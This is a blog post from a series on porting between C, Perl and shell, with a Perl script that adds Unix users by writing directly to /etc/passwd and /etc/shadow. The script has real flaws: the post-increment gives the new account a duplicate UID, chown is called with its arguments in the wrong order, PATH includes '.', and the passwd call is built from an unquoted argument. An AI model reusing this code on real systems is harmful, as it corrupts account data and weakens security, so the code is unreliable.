A brief note before we lay bare today's script. This script, and all the scripts we use here to demonstrate how to port between C, Perl and shell code are all just examples. It is not advised that you actually use these scripts to directly manipulate your system passwd and shadow files. It shouldn't cause a problem, but facilities exist to do this already (If you do use these, run "pwconv" afterward, just in case). This working code/script is merely meant to demonstrate principles of porting between languages.

Now that we have gloom and doom out of the way, let's check out today's version of the C code to add user accounts that we introduced yesterday. This should run equally well on both Linux and Unix - Pick a flavor.

The most obvious thing you'll notice with today's Perl code is that it's a lot easier to read and understand. Porting from C to Perl has demystified a lot of what we're actually doing. And the shell script to come tomorrow will make the process (and actions involved) even more accessible :)

If you find that you have any issues with the code (anything seems presumptuous or convoluted), please refer back to yesterdays post on the original C code, as a lot of those issues were addressed up front.

Hope you enjoy this, and best wishes :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# adduser.pl
#
# Add Users, Set Up Profiles,
# Set The Password And Email
# An Admin
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 2 ) {
print "Usage: $0 [dirname - no slashes ] [ logname ] [ comment - in quotes ]\n";
exit(1);
}

$userdir = $ARGV[0];
$username = $ARGV[1];
$commentfield = $ARGV[2];
$home = "$ARGV[0]/$ARGV[1]";
@argument2 = split(//,$ARGV[1]);
$argument2 = @argument2;

if ( $argument2 > 8 || $argument2 < 5 ) {
print "Please choose a logname between 5 and 8 characters!\n";
exit(1);
}

$SIG{'HUP'} = 'IGNORE';
$SIG{'INT'} = 'IGNORE';

$count = `awk -F":" '{print \$3}' /etc/passwd|sort -n|tail -1`;
chomp($count);
$usernumber = $count++;

print "\n";
print "Check this out before proceeding!!!\n";
print "-----------------------------------\n";
printf("Logname:\t%s\n", $username);
printf("Homedir:\t/%s/%s\n", $userdir, $username);
printf("Comment:\t%s\n", $commentfield);
print "-----------------------------------\n";
print "\n";
print "\n";
print "All of this ok?\n";
print "\n";
print "y or n\n";
print "\n";

$reply = <STDIN>;
chomp($reply);

if ( $reply =~ /n/i ) {
print "\n";
print "All right, give it another shot if you want!\n";
exit(0);
} elsif ( $reply =~ /y/i ) {
true;
} else {
print "Only y or n - case insenstive allowed\n";
print "Try Again\n";
exit(1);
}

open(A, ">>/etc/passwd");
print A "$username:x:$usernumber:1:$commentfield:/${userdir}/$username:/bin/ksh\n";
close(A);

open(A, ">>/etc/shadow");
print A "$username:*LK*:::::::\n";
close(A);

mkdir($home, 0755);
chdir "$home";

open(A, ">>.profile");
print A "stty istrip\n";
print A "PATH=/bin:/usr/bin:/usr/local/bin:/usr/share/bin:.\n";
print A "export PATH\n";
print A "\n";
print A "\n";
close(A);

chown($home, 1, $username);
system("chown ${usernumber}:1 .profile");
system("chmod 0644 .profile");

open(MAILER, "|/usr/lib/sendmail -t") or die "Cannot Open Sendmail!\n";
print MAILER "To: devnull\@xyz.com\n";
print MAILER "Subject: New User Added!!!\n";
print MAILER "\n";
print MAILER "$commentfield\n";
print MAILER "has a new account set up!\n";
print MAILER "The email address is $username\@host.com!\n";
print MAILER "\n";
print MAILER "Thank you,\n";
print MAILER "\t Mike Golvach\n";
close(MAILER);

print "\n";
print "All Done!!!\n";
print "\n";
print "Now set the Password!\n";
print "\n";
system("/usr/bin/passwd $username");
print "\n";
print "Password set!!! Take a break...\n";


, Mike